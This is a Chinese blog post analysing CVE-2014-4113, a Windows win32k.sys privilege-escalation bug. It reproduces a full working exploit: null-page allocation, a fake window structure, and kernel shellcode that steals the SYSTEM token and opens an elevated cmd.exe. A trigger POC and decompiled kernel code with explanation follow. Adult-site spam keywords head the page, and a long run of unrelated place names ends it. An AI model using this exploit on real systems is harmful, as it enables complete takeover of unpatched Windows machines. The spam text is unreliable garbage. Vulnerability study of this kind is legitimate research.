最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

漏洞分析丨cve20144113

2023-04-20 21:32 作者:rkvir逆向工程學(xué)院  | 我要投稿

一、漏洞簡(jiǎn)述

Microsoft Windows下的?win32k.sys是Windows子系統(tǒng)的內(nèi)核部分,是一個(gè)內(nèi)核模式設(shè)備驅(qū)動(dòng)程序,它包含有窗口管理器、后者控制窗口顯示和管理屏幕輸出等。如果Windows內(nèi)核模式驅(qū)動(dòng)程序不正確地處理內(nèi)存中的對(duì)象,則存在一個(gè)特權(quán)提升漏洞。成功利用此漏洞的攻擊者可以運(yùn)行內(nèi)核模式中的任意代碼。攻擊者隨后可安裝程序;查看、更改或刪除數(shù)據(jù);或者創(chuàng)建擁有完全管理權(quán)限的新帳戶。其中CVE-2014-4113就是Win32k.sys中的一個(gè)漏洞,該漏洞的根本問(wèn)題是函數(shù)xxxMNFindWindowFromPoint的返回值驗(yàn)證不正確。xxxMNFindWindowFromPoint函數(shù)執(zhí)行后返回win32k!tagWND的地址結(jié)構(gòu)或錯(cuò)誤代碼-1,-5。在該函數(shù)后面將調(diào)用函數(shù)xxxSendMessage,xxxSendMessage把xxxMNFindWindowFromPoint的返回值作為參數(shù)傳遞。當(dāng)xxxMNFindWindowFromPoint返回win32k!tagWND地址的時(shí)候程序正常執(zhí)行,但當(dāng)返回-1,-5的時(shí)候傳遞給xxxSendMessage將造成藍(lán)屏。

二、環(huán)境準(zhǔn)備

系統(tǒng)版本

win7x86sp1

三、漏洞驗(yàn)證

這是一個(gè)提權(quán)漏洞,在GitHub上找的exp如下:

#include?
#include?
#define NT_SUCCESS(Status)?(((NTSTATUS)(Status))?>=?0)

typedef?NTSTATUS
(WINAPI*?My_NtAllocateVirtualMemory)(
??? IN HANDLE ProcessHandle,
??? IN OUT PVOID*?BaseAddress,
??? IN ULONG ZeroBits,
??? IN OUT PULONG RegionSize,
??? IN ULONG AllocationType,
??? IN ULONG Protect
????);

My_NtAllocateVirtualMemory NtAllocateVirtualMemory?=?NULL;

//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd,?UINT Msg,?WPARAM wParam,?LPARAM lParam)
{
??? printf("[+] Callback two called.\n");
??? EndMenu();
????return?-5;
}

LRESULT CALLBACK HookCallback(int?code,?WPARAM wParam,?LPARAM lParam)?{
??? printf("[+] Callback one called.\n");
????/* lParam is a pointer to a CWPSTRUCT which is defined as:
??? typedef struct tagCWPSTRUCT {
??? LPARAM lParam;
??? WPARAM wParam;
??? UINT?? message;
??? HWND?? hwnd;
??? } CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
??? */
????//lparam+8 is the message sent to the window, here we are checking for the message which is sent to a window when the function xxxMNFindWindowFromPoint is called
????if?(*(DWORD*)(lParam?+?8)?==?0x1EB)?{
???????if?(UnhookWindowsHook(WH_CALLWNDPROC,?HookCallback))?{
???????????//lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one
?????????? SetWindowLongA(*(HWND*)(lParam?+?12),?GWLP_WNDPROC,?(LONG)HookCallbackTwo);
???????}
????}
????return?CallNextHookEx(0,?code,?wParam,?lParam);
}

/*
LRESULT WINAPI DefWindowProc(
_In_ HWND?? hWnd,
_In_ UINT?? Msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
hWnd => Handle of the Window the event was triggered on
Msg => Message, the event that has occurred, this could be that window has moved, has been minimized, clicked on etc
wParam, lParam => extra information depending on the msg recieved.
*/
LRESULT CALLBACK WndProc(HWND hwnd,?UINT msg,?WPARAM wParam,?LPARAM lParam)?{
????/*
??? Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug
??? */
??? printf("[+] WindProc called with message=%d\n",?msg);
????if?(msg?==?WM_ENTERIDLE)?{
?????? PostMessageA(hwnd,?WM_KEYDOWN,?VK_DOWN,?0);
?????? PostMessageA(hwnd,?WM_KEYDOWN,?VK_RIGHT,?0);
?????? PostMessageA(hwnd,?WM_LBUTTONDOWN,?0,?0);
????}
????//Just pass any other messages to the default window procedure
????return?DefWindowProc(hwnd,?msg,?wParam,?lParam);
}

VOID Poc()
{
????/*
typedef struct tagWNDCLASS {
UINT????? style;
WNDPROC?? lpfnWndProc;
int?????? cbClsExtra;
int ??????cbWndExtra;
HINSTANCE hInstance;
HICON???? hIcon;
HCURSOR?? hCursor;
HBRUSH??? hbrBackground;
LPCTSTR?? lpszMenuName;
LPCTSTR?? lpszClassName;
} WNDCLASS, *PWNDCLASS;
We don't care about any of the style information but we set any needed values below.
*/
??? WNDCLASSA wnd_class?=?{?0?};
????//Our custome WndProc handler, inspects any window messages before passing then onto the default handler
??? wnd_class.lpfnWndProc?=?WndProc;
????//Returns a handle to the executable that has the name passed to it, passing NULL means it returns a handle to this executable
??? wnd_class.hInstance?=?GetModuleHandle(NULL);
????//Random classname - we reference this later when creating a Window of this class
??? wnd_class.lpszClassName?=?"abcde";

????//Registers the class in the global scope so it can be refered too later.
??? ATOM tmp?=?RegisterClassA(&wnd_class);
????if?(tmp?==?NULL)?{
?????? printf("[+] Failed to register window class.\n");
???????return;
????}

????/* Does what it says on the tin..
??? HWND WINAPI CreateWindow(
??? _In_opt_ LPCTSTR?? lpClassName, => The name of the Window class to be created, in this case the class we just registered
??? _In_opt_ LPCTSTR?? lpWindowName, => The name to give the window, we don't need to give it a name.
??? _In_???? DWORD???? dwStyle, => Style options for the window, here
??? _In_???? int?????? x, => x position to create the window,this time the left edge
??? _In_???? int?????? y, => y position to create the window, this time the top edge
??? _In_???? int?????? nWidth, => Width of the window to create, randomly chosen value
??? _In_???? int?????? nHeight, => Height of the to create, randomly chosen value
??? _In_opt_ HWND????? hWndParent, => A handle to the parent window, this is our only window so NULL
??? _In_opt_ HMENU???? hMenu, => A handle to a menu or sub window to attach to the window, we havent created any yet.
??? _In_opt_ HINSTANCE hInstance, => A handle to the module the window should be associated with, for us this executable
??? _In_opt_ LPVOID??? lpParam => A pointer to data to be passed to the Window with the WM_CREATE message on creation, NULL for us as we don't wish to pass anything.
??? );
??? */
??? HWND main_wnd?=?CreateWindowA(
?????? wnd_class.lpszClassName,
???????"",
?????? WS_OVERLAPPEDWINDOW?|?WS_VISIBLE,
???????0,
???????0,
???????640,
???????480,
?????? NULL,
?????? NULL,
?????? wnd_class.hInstance,
?????? NULL);

????if?(main_wnd?==?NULL)?{
?????? printf("[+] Failed to create window instance.\n");
???????return;
????}

????//Creates an empty popup menu
??? HMENU MenuOne?=?CreatePopupMenu();

????if?(MenuOne?==?NULL)?{
?????? printf("[+] Failed to create popup menu one.\n");
???????return;
????}

????/*Menu properties to apply to the empty menu we just created
??? typedef struct tagMENUITEMINFO {
??? UINT????? cbSize;
??? UINT????? fMask;
??? UINT????? fType;
??? UINT????? fState;
??? UINT????? wID;
??? HMENU???? hSubMenu;
??? HBITMAP?? hbmpChecked;
??? HBITMAP?? hbmpUnchecked;
??? ULONG_PTR dwItemData;
??? LPTSTR??? dwTypeData;
??? UINT????? cch;
??? HBITMAP?? hbmpItem;
??? } MENUITEMINFO, *LPMENUITEMINFO;
??? */
??? MENUITEMINFOA MenuOneInfo?=?{?0?};
????//Default size
??? MenuOneInfo.cbSize?=?sizeof(MENUITEMINFOA);
????//Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.
??? MenuOneInfo.fMask?=?MIIM_STRING;
????/*Inserts a new menu at the specified position
??? BOOL WINAPI InsertMenuItem(
??? _In_ HMENU?????????? hMenu, => Handle to the menu the new item should be inserted into, in our case the empty menu we just created
??? _In_ UINT??????????? uItem, => it should item 0 in the menu
??? _In_ BOOL??????????? fByPosition, => Decided whether uItem is a position or an identifier, in this case its a position. If FALSE it makes uItem an identifier
??? _In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the menu item details.
??? );
??? */
??? BOOL insertMenuItem?=?InsertMenuItemA(MenuOne,?0,?TRUE,?&MenuOneInfo);

????if?(!insertMenuItem)?{
?????? printf("[+] Failed to insert popup menu one.\n");
?????? DestroyMenu(MenuOne);
???????return;
????}

??? HMENU MenuTwo?=?CreatePopupMenu();

????if?(MenuTwo?==?NULL)?{
?????? printf("[+] Failed to create menu two.\n");
?????? DestroyMenu(MenuOne);
???????return;
????}

??? MENUITEMINFOA MenuTwoInfo?=?{?0?};
??? MenuTwoInfo.cbSize?=?sizeof(MENUITEMINFOA);
????//On this window hSubMenu should be included in Get/SetMenuItemInfo
??? MenuTwoInfo.fMask?=?(MIIM_STRING?|?MIIM_SUBMENU);
????//The menu is a sub menu of the first menu
??? MenuTwoInfo.hSubMenu?=?MenuOne;
????//The contents of the menu item - in this case nothing
??? MenuTwoInfo.dwTypeData?=?(LPSTR)"";
????//The length of the menu item text - in the case 1 for just a single NULL byte
??? MenuTwoInfo.cch?=?1;
??? insertMenuItem?=?InsertMenuItemA(MenuTwo,?0,?TRUE,?&MenuTwoInfo);

????if?(!insertMenuItem)?{
?????? printf("[+] Failed to insert second pop-up menu.\n");
?????? DestroyMenu(MenuOne);
?????? DestroyMenu(MenuTwo);
???????return;
????}

????/*
??? HHOOK WINAPI SetWindowsHookEx(
??? _In_ int?????? idHook, => The type of hook we want to create, in this case WH_CALLWNDPROC which means that the callback will be passed any window messages before the system sends them to the destination window procedure.
??? _In_ HOOKPROC? lpfn, => The callback that should be called when triggered
??? _In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the dll here, not needed in this case.
??? _In_ DWORD???? dwThreadId => The thread which the callback should be triggered in, we want it to be our current thread.
??? );
??? */
??? HHOOK setWindowsHook?=?SetWindowsHookExA(
?????? WH_CALLWNDPROC,
?????? HookCallback,
?????? NULL,
?????? GetCurrentThreadId()
????);

????if?(setWindowsHook?==?NULL)?{
?????? printf("[+] Failed to insert call back one.\n");
?????? DestroyMenu(MenuOne);
?????? DestroyMenu(MenuTwo);
???????return;
????}

????/* Displays a menu and tracks interactions with it.
??? BOOL WINAPI TrackPopupMenu(
??? _In_?????????? HMENU hMenu,
??? _In_?????????? UINT? uFlags,
??? _In_?????????? int?? x,
??? _In_?????????? int?? y,
??? _In_?????????? int?? nReserved,
??? _In_?????????? HWND? hWnd,
??? _In_opt_ const RECT? *prcRect
??? );
??? */
??? TrackPopupMenu(
?????? MenuTwo,?//Handle to the menu we want to display, for us its the submenu we just created.
???????0,?????//Options on how the menu is aligned, what clicks are allowed etc, we don't care.
???????0,?????//Horizontal position - left hand side
???????0,?????//Vertical position - Top edge
???????0,?????//Reserved field, has to be 0
?????? main_wnd,//Handle to the Window which owns the menu
?????? NULL???//This value is always ignored...
????);

??? DestroyWindow(main_wnd);
}

int?__stdcall ShellCode(int?parameter1,?int?parameter2,?int?parameter3,?int?parameter4)
{
??? _asm
????{
?????? pushad
?????? mov eax,?fs:?[124h]??????// Find the _KTHREAD structure for the current thread
?????? mov eax,?[eax?+?0x50]???// Find the _EPROCESS structure
?????? mov ecx,?eax
?????? mov edx,?4???????????// edx = system PID(4)

???????// The loop is to get the _EPROCESS of the system
?????? find_sys_pid?:
?????? mov eax,?[eax?+?0xb8]?// Find the process activity list
?????? sub eax,?0xb8??? ????// List traversal
?????? cmp[eax?+?0xb4],?edx????// Determine whether it is SYSTEM based on PID
?????? jnz find_sys_pid

???????// Replace the Token
?????? mov edx,?[eax?+?0xf8]
?????? mov[ecx?+?0xf8],?edx
?????? popad
????}
????return?0;
}


static?VOID CreateCmd()
{
??? STARTUPINFO si?=?{?sizeof(si)?};
??? PROCESS_INFORMATION pi?=?{?0?};
??? si.dwFlags?=?STARTF_USESHOWWINDOW;
??? si.wShowWindow?=?SW_SHOW;
??? WCHAR wzFilePath[MAX_PATH]?=?{?L"cmd.exe"?};
??? BOOL bReturn?=?CreateProcessW(NULL,?wzFilePath,?NULL,?NULL,?FALSE,?CREATE_NEW_CONSOLE,?NULL,?NULL,?(LPSTARTUPINFOW)&si,?&pi);
????if?(bReturn)?CloseHandle(pi.hThread),?CloseHandle(pi.hProcess);
}

DWORD __stdcall? ptiCurrent()
{
??? __asm?{
?????? mov eax,?fs:18h??????//eax pointer to TEB
?????? mov eax,?[eax?+?40h]?//get pointer to Win32ThreadInfo
????}
}

VOID init()
{
????*(FARPROC*)&NtAllocateVirtualMemory?=?GetProcAddress(
?????? GetModuleHandleW(L"ntdll"),
???????"NtAllocateVirtualMemory");

????if?(NtAllocateVirtualMemory?==?NULL)
????{
?????? printf("[+] Failed to get function NtAllocateVirtualMemory!!!\n");
?????? system("pause");
???????return;
????}

??? PVOID Zero_addr?=?(PVOID)1;
??? SIZE_T RegionSize?=?0x1000;

??? printf("[+] Started to alloc zero page...\n");
????if?(!NT_SUCCESS(NtAllocateVirtualMemory(
?????? INVALID_HANDLE_VALUE,
???????&Zero_addr,
???????0,
???????&RegionSize,
?????? MEM_COMMIT?|?MEM_RESERVE,
?????? PAGE_READWRITE))?||?Zero_addr?!=?NULL)
????{
?????? printf("[+] Failed to alloc zero page!\n");
?????? system("pause");
???????return;
????}

??? printf("[+] Success to alloc zero page...\n");

????*(DWORD*)(0x3)?=?(DWORD)ptiCurrent();
????*(DWORD*)(0x11)?=?(DWORD)4;
????*(DWORD*)(0x5b)?=?(DWORD)&ShellCode;

}

int?main()
{
??? init();

??? Poc();

??? CreateCmd();

??? system("pause");

????return?0;
}

在VS中生成,拖入虛擬機(jī)中,首先普通模式打開cmd,查看權(quán)限:


接下來(lái)運(yùn)行exp:



可以看到已經(jīng)是系統(tǒng)權(quán)限了。

四、漏洞分析

從POC開始分析吧,代碼如下:

#include?
#include?

//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd,?UINT Msg,?WPARAM wParam,?LPARAM lParam)
{
??? printf("[+] Callback two called.\n");
??? EndMenu();
????return?-5;
}

LRESULT CALLBACK HookCallback(int?code,?WPARAM wParam,?LPARAM lParam)?{
??? printf("[+] Callback one called.\n");
????/* lParam is a pointer to a CWPSTRUCT which is defined as:
??? typedef struct tagCWPSTRUCT {
??? LPARAM lParam;
??? WPARAM wParam;
??? UINT?? message;
??? HWND?? hwnd;
??? } CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
??? */
????//lparam+8 is the message sent to the window, here we are checking for the message which is sent to a window when the function xxxMNFindWindowFromPoint is called
????if?(*(DWORD*)(lParam?+?8)?==?0x1EB)?{
???????if?(UnhookWindowsHook(WH_CALLWNDPROC,?HookCallback))?{
???????????//lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one
?????????? SetWindowLongA(*(HWND*)(lParam?+?12),?GWLP_WNDPROC,?(LONG)HookCallbackTwo);
???????}
????}
????return?CallNextHookEx(0,?code,?wParam,?lParam);
}

/*
LRESULT WINAPI DefWindowProc(
_In_ HWND?? hWnd,
_In_ UINT?? Msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
hWnd => Handle of the Window the event was triggered on
Msg => Message, the event that has occurred, this could be that window has moved, has been minimized, clicked on etc
wParam, lParam => extra information depending on the msg recieved.
*/
LRESULT CALLBACK WndProc(HWND hwnd,?UINT msg,?WPARAM wParam,?LPARAM lParam)?{
????/*
??? Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug
??? */
??? printf("[+] WindProc called with message=%d\n",?msg);
????if?(msg?==?WM_ENTERIDLE)?{
?????? PostMessageA(hwnd,?WM_KEYDOWN,?VK_DOWN,?0);
?????? PostMessageA(hwnd,?WM_KEYDOWN,?VK_RIGHT,?0);
?????? PostMessageA(hwnd,?WM_LBUTTONDOWN,?0,?0);
????}
????//Just pass any other messages to the default window procedure
????return?DefWindowProc(hwnd,?msg,?wParam,?lParam);
}

VOID Poc()
{
????/*
typedef struct tagWNDCLASS {
UINT????? style;
WNDPROC?? lpfnWndProc;
int?? ????cbClsExtra;
int?????? cbWndExtra;
HINSTANCE hInstance;
HICON???? hIcon;
HCURSOR?? hCursor;
HBRUSH??? hbrBackground;
LPCTSTR?? lpszMenuName;
LPCTSTR?? lpszClassName;
} WNDCLASS, *PWNDCLASS;
We don't care about any of the style information but we set any needed values below.
*/
??? WNDCLASSA wnd_class?=?{?0?};
????//Our custome WndProc handler, inspects any window messages before passing then onto the default handler
??? wnd_class.lpfnWndProc?=?WndProc;
????//Returns a handle to the executable that has the name passed to it, passing NULL means it returns a handle to this executable
??? wnd_class.hInstance?=?GetModuleHandle(NULL);
????//Random classname - we reference this later when creating a Window of this class
??? wnd_class.lpszClassName?=?"abcde";

????//Registers the class in the global scope so it can be refered too later.
??? ATOM tmp?=?RegisterClassA(&wnd_class);
????if?(tmp?==?NULL)?{
?????? printf("[+] Failed to register window class.\n");
???????return;
????}

????/* Does what it says on the tin..
??? HWND WINAPI CreateWindow(
??? _In_opt_ LPCTSTR?? lpClassName, => The name of the Window class to be created, in this case the class we just registered
??? _In_opt_ LPCTSTR?? lpWindowName, => The name to give the window, we don't need to give it a name.
??? _In_???? DWORD???? dwStyle, => Style options for the window, here
??? _In_???? int?????? x, => x position to create the window,this time the left edge
??? _In_???? int?????? y, => y position to create the window, this time the top edge
??? _In_???? int?? ????nWidth, => Width of the window to create, randomly chosen value
??? _In_???? int?????? nHeight, => Height of the to create, randomly chosen value
??? _In_opt_ HWND????? hWndParent, => A handle to the parent window, this is our only window so NULL
??? _In_opt_ HMENU???? hMenu, => A handle to a menu or sub window to attach to the window, we havent created any yet.
??? _In_opt_ HINSTANCE hInstance, => A handle to the module the window should be associated with, for us this executable
??? _In_opt_ LPVOID??? lpParam => A pointer to data to be passed to the Window with the WM_CREATE message on creation, NULL for us as we don't wish to pass anything.
??? );
??? */
??? HWND main_wnd?=?CreateWindowA(
?????? wnd_class.lpszClassName,
???????"",
?????? WS_OVERLAPPEDWINDOW?|?WS_VISIBLE,
???????0,
???????0,
???????640,
???????480,
?????? NULL,
?????? NULL,
?????? wnd_class.hInstance,
?????? NULL);

????if?(main_wnd?==?NULL)?{
?????? printf("[+] Failed to create window instance.\n");
???????return;
????}

????//Creates an empty popup menu
??? HMENU MenuOne?=?CreatePopupMenu();

????if?(MenuOne?==?NULL)?{
?????? printf("[+] Failed to create popup menu one.\n");
???????return;
????}

????/*Menu properties to apply to the empty menu we just created
??? typedef struct tagMENUITEMINFO {
??? UINT????? cbSize;
??? UINT????? fMask;
??? UINT????? fType;
??? UINT????? fState;
??? UINT????? wID;
??? HMENU???? hSubMenu;
??? HBITMAP?? hbmpChecked;
??? HBITMAP?? hbmpUnchecked;
??? ULONG_PTR dwItemData;
??? LPTSTR??? dwTypeData;
??? UINT????? cch;
??? HBITMAP?? hbmpItem;
??? } MENUITEMINFO, *LPMENUITEMINFO;
??? */
??? MENUITEMINFOA MenuOneInfo?=?{?0?};
????//Default size
??? MenuOneInfo.cbSize?=?sizeof(MENUITEMINFOA);
????//Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.
??? MenuOneInfo.fMask?=?MIIM_STRING;
????/*Inserts a new menu at the specified position
??? BOOL WINAPI InsertMenuItem(
??? _In_ HMENU?????????? hMenu, => Handle to the menu the new item should be inserted into, in our case the empty menu we just created
??? _In_ UINT??????????? uItem, => it should item 0 in the menu
??? _In_ BOOL??????????? fByPosition, => Decided whether uItem is a position or an identifier, in this case its a position. If FALSE it makes uItem an identifier
??? _In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the menu item details.
??? );
??? */
??? BOOL insertMenuItem?=?InsertMenuItemA(MenuOne,?0,?TRUE,?&MenuOneInfo);

????if?(!insertMenuItem)?{
?????? printf("[+] Failed to insert popup menu one.\n");
?????? DestroyMenu(MenuOne);
???????return;
????}

??? HMENU MenuTwo?=?CreatePopupMenu();

????if?(MenuTwo?==?NULL)?{
?????? printf("[+] Failed to create menu two.\n");
?????? DestroyMenu(MenuOne);
???????return;
????}

??? MENUITEMINFOA MenuTwoInfo?=?{?0?};
??? MenuTwoInfo.cbSize?=?sizeof(MENUITEMINFOA);
????//On this window hSubMenu should be included in Get/SetMenuItemInfo
??? MenuTwoInfo.fMask?=?(MIIM_STRING?|?MIIM_SUBMENU);
????//The menu is a sub menu of the first menu
??? MenuTwoInfo.hSubMenu?=?MenuOne;
????//The contents of the menu item - in this case nothing
??? MenuTwoInfo.dwTypeData?=?(LPSTR)"";
????//The length of the menu item text - in the case 1 for just a single NULL byte
??? MenuTwoInfo.cch?=?1;
??? insertMenuItem?=?InsertMenuItemA(MenuTwo,?0,?TRUE,?&MenuTwoInfo);

????if?(!insertMenuItem)?{
?????? printf("[+] Failed to insert second pop-up menu.\n");
?????? DestroyMenu(MenuOne);
?????? DestroyMenu(MenuTwo);
???????return;
????}

????/*
??? HHOOK WINAPI SetWindowsHookEx(
??? _In_ int?????? idHook, => The type of hook we want to create, in this case WH_CALLWNDPROC which means that the callback will be passed any window messages before the system sends them to the destination window procedure.
??? _In_ HOOKPROC? lpfn, => The callback that should be called when triggered
??? _In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the dll here, not needed in this case.
??? _In_ DWORD???? dwThreadId => The thread which the callback should be triggered in, we want it to be our current thread.
??? );
??? */
??? HHOOK setWindowsHook?=?SetWindowsHookExA(
?????? WH_CALLWNDPROC,
?????? HookCallback,
?????? NULL,
?????? GetCurrentThreadId()
????);

????if?(setWindowsHook?==?NULL)?{
?????? printf("[+] Failed to insert call back one.\n");
?????? DestroyMenu(MenuOne);
?????? DestroyMenu(MenuTwo);
???????return;
????}

????/* Displays a menu and tracks interactions with it.
??? BOOL WINAPI TrackPopupMenu(
??? _In_?????????? HMENU hMenu,
??? _In_?????????? UINT? uFlags,
??? _In_?????????? int?? x,
??? _In_?????????? int?? y,
??? _In_?????????? int?? nReserved,
??? _In_?????????? HWND? hWnd,
??? _In_opt_ const RECT? *prcRect
??? );
??? */
??? TrackPopupMenu(
?????? MenuTwo,?//Handle to the menu we want to display, for us its the submenu we just created.
???????0,?????//Options on how the menu is aligned, what clicks are allowed etc, we don't care.
???????0,?????//Horizontal position - left hand side
???????0,?????//Vertical position - Top edge
???????0,?????//Reserved field, has to be 0
?????? main_wnd,//Handle to the Window which owns the menu
?????? NULL???//This value is always ignored...
????);
}

int?main()
{
??? Poc();
????return?0;
}

編譯成exe拖入虛擬機(jī)運(yùn)行,打開雙擊調(diào)試:


卡在這里,看箭頭位置:


可以看到esi的值是傳入的參數(shù),上層函數(shù)是xxxSendMessage,參數(shù)同樣是fffffffb:


直接在win32k.sys追xxxHandleMenuMessages,當(dāng)然記得加載符號(hào)文件:


通過(guò)xxxHandleMenuMessages+0x582的地址,F(xiàn)5到此處:


LABEL_13:
??????????? v12 = a2;
????????????*(_DWORD?*)(a2?+ 16) = -1;
????????????*(_DWORD?*)(a2?+ 8) = (signed __int16)v7;
????????????*(_DWORD?*)(a2?+ 12) = SHIWORD(v7);
??????????? v13 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, v7);
??????????? v52 = IsMFMWFPWindow(v13);
??????????? if ( v52 )
????????????{
????????????? v46 =?*((_DWORD?*)gptiCurrent?+ 45);
??????????????*((_DWORD?*)gptiCurrent?+ 45) =?&v46;
????????????? v47 = v13;
????????????? if ( v13 )
??????????????? ++*(_DWORD?*)(v13?+ 4);
????????????}
??????????? if ( *(_DWORD *)(v12 + 4) & 0x400 )
????????????{
??????????????*(_DWORD?*)(v12?+ 36) =?*(_DWORD?*)(v12?+ 8);
??????????????*(_DWORD?*)(v12?+ 40) =?*(_DWORD?*)(v12?+ 12);
??????????????*(_DWORD?*)(v12?+ 48) = UnicodeString;
????? ????????LockMFMWFPWindow(v12 + 44,?v13);
????????????}
??????????? if ( *(_DWORD *)(v12 + 4) & 0x500 )
??????????????*(_DWORD?*)(v12?+ 52) = ((v50 & 2) != 0) + 1;
??????????? if ( !v13 && !UnicodeString )
????????????? goto LABEL_22;
??????????? if ( *(_BYTE *)v3 & 2 && v13 == -5 )
????????????{
????????????? xxxMNSwitchToAlternateMenu(v3);
????????????? v13 = -1;
????????????}
??????????? if ( v13 == -1 )
????????????? xxxMNButtonDown(v3, v12, UnicodeString, 1);
??????????? else
????????????? xxxSendMessage((PVOID)v13, -19, UnicodeString, 0);
??????????? if ( !(*(_DWORD *)(v12 + 4) & 0x100) )
????????????? xxxMNRemoveMessage(*(_DWORD *)(a1 + 4), 516);

可以看到esi的值主要來(lái)源于?v13 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, v7);
v52 = IsMFMWFPWindow(v13):此函數(shù)判斷值是否是-5和-1,不是的話返回1:

BOOL __stdcall IsMFMWFPWindow(int?a1)
{
??return?a1?&&?a1?!=?-5?&&?a1?!=?-1;
}

而如果要執(zhí)行xxxSendMessage這個(gè)函數(shù),就需要讓v13的值等于-5(FFFFFFFB),我們看xxxMNFindWindowFromPoint這個(gè)函數(shù):


這里反編譯有問(wèn)題,直接看匯編:


這里判斷呢,就是發(fā)送消息是1ED這里,然后判斷是不是-1或者-5就跳過(guò)if,所以這里需要跳過(guò)if,否則返回值會(huì)重新賦值,然后-1的話觸發(fā)不了漏洞,只能-5,也就是HOOK這里,讓這個(gè)返回值-5,觸發(fā)漏洞。
接下來(lái)根據(jù)POC簡(jiǎn)單梳理一下過(guò)程:
調(diào)用了TrackPopupMenu函數(shù)觸發(fā)漏洞,然后調(diào)用內(nèi)核函數(shù)win32k!xxxTrackPopupMenuEx,最后調(diào)用最終會(huì)調(diào)用win32k! xxxMNLoop函數(shù),然后就跟進(jìn)win32k!xxxHandleMenuMessages函數(shù),隨后就是我們分析的情況。觸發(fā)漏洞需要讓xxxMNFindWindowFromPoint返回值=-5;

五、漏洞利用

在POC中,對(duì)于消息號(hào)為0x1EB的消息,HOOK函數(shù)返回了0xFFFFFFFB,而程序把該值作為win32k!tagWND結(jié)構(gòu)處理,導(dǎo)致后邊把0xFFFFFFFB作為win32k!ptagWND結(jié)構(gòu)傳給win32k! xxxSendMessage。在win32k! xxxSendMessage中會(huì)調(diào)用win32k!xxxSendMessageTimeout,在win32k!xxxSendMessageTimeout中當(dāng)把0xFFFFFFFB作為win32k!tagWND結(jié)構(gòu)處理時(shí),會(huì)調(diào)用ptagWND+0x60處的函數(shù),也就是call [0xFFFFFFB+0x60],在xxxSendMessageTimeout中,即call [0x5B]。
如果在0x5B位置布置shellcode,就可以完成漏洞利用,下面還要注意一個(gè)點(diǎn),是xxxSendMessageTimeout函數(shù)內(nèi)部的倆個(gè)驗(yàn)證,所以我們需要布局0x3,0x11位置:

通過(guò)函數(shù)ZwAllocateVirtualMemory申請(qǐng)0頁(yè)內(nèi)存空間,在該空間建立一個(gè)畸形的win32k!tagWND結(jié)構(gòu)的映射頁(yè),使得在內(nèi)核能正確地驗(yàn)證。并將shellcode地址布置在0x5B。而shellcode就是創(chuàng)建cmd,把進(jìn)程Token換成system的Token值。至于鉤子為什么使用SetWindowLongA設(shè)置了一次窗口函數(shù),因?yàn)橹挥性诖翱谔幚砗瘮?shù)線程的上下文空間中調(diào)用EndMenu函數(shù)才有意義。補(bǔ)充一點(diǎn)exp調(diào)用sendMessage函數(shù)是分同步異步,這里不再多說(shuō),可以看這里:https://www.anquanke.com/post/id/84869


漏洞分析丨cve20144113的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
濮阳市| 镇巴县| 团风县| 邵东县| 盐津县| 广河县| 巴林左旗| 杂多县| 绵竹市| 安泽县| 进贤县| 东乌| 柳河县| 行唐县| 舒兰市| 威信县| 陈巴尔虎旗| 全南县| 安庆市| 刚察县| 连南| 大竹县| 丰宁| 青铜峡市| 巴林右旗| 宁强县| 抚松县| 合川市| 宁德市| 东光县| 都兰县| 崇礼县| 苏尼特左旗| 赫章县| 晋江市| 马公市| 家居| 漳州市| 沁水县| 盐亭县| 绵阳市|